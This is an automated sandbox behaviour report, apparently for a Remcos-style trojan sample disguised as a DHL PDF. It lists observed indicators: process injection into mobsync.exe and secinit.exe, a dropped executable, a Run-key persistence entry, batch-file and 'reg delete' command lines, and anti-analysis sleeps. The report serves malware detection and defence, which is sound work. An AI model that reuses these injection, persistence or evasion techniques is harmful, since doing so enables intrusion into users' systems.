Source: C:\Windows\SysWOW64\mobsync.exe	Mutant created: \Sessions\1\BaseNamedObjects\Remcos-8VTGWT
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5744:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5508:120:WilError_01

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_0040D41E FindResourceA,LoadResource,LockResource,SizeofResource,

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\mobsync.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\mobsync.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_00458435 push esi; ret
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0042F4A6 push ecx; ret
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_00450918 push eax; ret

Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: .....
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: ......
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: .....
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: ....
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: ......
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: ....
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: ......
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: ......
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: section name: .....
Source: Iqzenco.exe.0.dr	Static PE information: section name: .....
Source: Iqzenco.exe.0.dr	Static PE information: section name: ......
Source: Iqzenco.exe.0.dr	Static PE information: section name: .....
Source: Iqzenco.exe.0.dr	Static PE information: section name: ....
Source: Iqzenco.exe.0.dr	Static PE information: section name: ......
Source: Iqzenco.exe.0.dr	Static PE information: section name: ....
Source: Iqzenco.exe.0.dr	Static PE information: section name: ......
Source: Iqzenco.exe.0.dr	Static PE information: section name: ......
Source: Iqzenco.exe.0.dr	Static PE information: section name: .....

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 5_2_0040D072 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,

Source: initial sample

Static PE information: section where entry point is pointing to: ......

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File created: \entrega de documentos dhl _ 27-09-21,pdf.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File created: \entrega de documentos dhl _ 27-09-21,pdf.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File created: \entrega de documentos dhl _ 27-09-21,pdf.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File created: \entrega de documentos dhl _ 27-09-21,pdf.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File created: \entrega de documentos dhl _ 27-09-21,pdf.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	File created: \entrega de documentos dhl _ 27-09-21,pdf.exe

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

File created: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe

Jump to dropped file

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Iqzenco			Jump to behavior
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Iqzenco			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Show sources

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon4828.png

Source: C:\Windows\SysWOW64\mobsync.exe

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mobsync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Delayed program exit found

Show sources

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0040D455 Sleep,ExitProcess,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0040D455 Sleep,ExitProcess,

Source: C:\Windows\SysWOW64\mobsync.exe TID: 3628	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\mobsync.exe TID: 3880	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\secinit.exe TID: 2388	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\mobsync.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\mobsync.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\mobsync.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\secinit.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_004170AC FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_00406176 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004170AC FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_00406176 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0040A3AF FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0040A5CA FindFirstFileA,FindClose,FindNextFileA,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004456A9 FindFirstFileExA,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004077EE __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,

Source: C:\Windows\SysWOW64\mobsync.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\mobsync.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\secinit.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_00406930 SetEvent,ShellExecuteW,GetLogicalDriveStringsA,StrToIntA,CreateDirectoryW,GetFileAttributesW,DeleteFileW,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 5_2_0042F07F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_0044697D GetProcessHeap,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_0043B789 mov eax, dword ptr fs:[00000030h]

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0042F1CD SetUnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0042F07F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_004360A3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0042F1CD SetUnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0042F07F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004360A3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0042F62C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2C60000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2C70000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2C80000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D10000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D20000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D30000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D40000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D50000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D60000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D70000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D80000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 50600000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D90000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2DA0000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D30000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D40000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2D50000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2DE0000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 2DF0000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3000000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3010000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3020000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3030000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3040000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3050000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 50600000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3060000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 3070000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2F50000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2F60000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2F70000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3200000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3210000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3220000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3230000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3240000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3250000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3260000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3270000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 50600000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3280000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 3290000

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 50600000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2C60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2C70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2C80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D20000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D30000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D40000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D50000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D90000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2DA0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 50600000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D30000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D40000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2D50000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2DE0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 2DF0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3000000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3010000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3020000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3030000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3040000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3050000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3060000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 3070000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 50600000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2F50000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2F60000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2F70000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3200000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3210000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3220000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3230000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3240000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3250000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3260000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3270000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3280000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 3290000 protect: page execute and read and write

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 2C80000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 2D40000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 2D80000
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 2DA0000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 2D50000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 3010000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 3050000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 3070000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\secinit.exe EIP: 2F70000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\secinit.exe EIP: 3230000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\secinit.exe EIP: 3270000
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Thread created: C:\Windows\SysWOW64\secinit.exe EIP: 3290000

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,Sleep,CloseHandle,OpenProcess, \svchost.exe

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_00414923 StrToIntA,mouse_event,

Source: mobsync.exe, 00000005.00000000.720932112.00000000035A0000.00000002.00020000.sdmp, mobsync.exe, 00000016.00000000.816684928.00000000038C0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: mobsync.exe, 00000005.00000000.720932112.00000000035A0000.00000002.00020000.sdmp, mobsync.exe, 00000016.00000000.816684928.00000000038C0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mobsync.exe, 00000005.00000000.720932112.00000000035A0000.00000002.00020000.sdmp, mobsync.exe, 00000016.00000000.816684928.00000000038C0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: mobsync.exe, 00000005.00000000.720932112.00000000035A0000.00000002.00020000.sdmp, mobsync.exe, 00000016.00000000.816684928.00000000038C0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: GetLocaleInfoW,
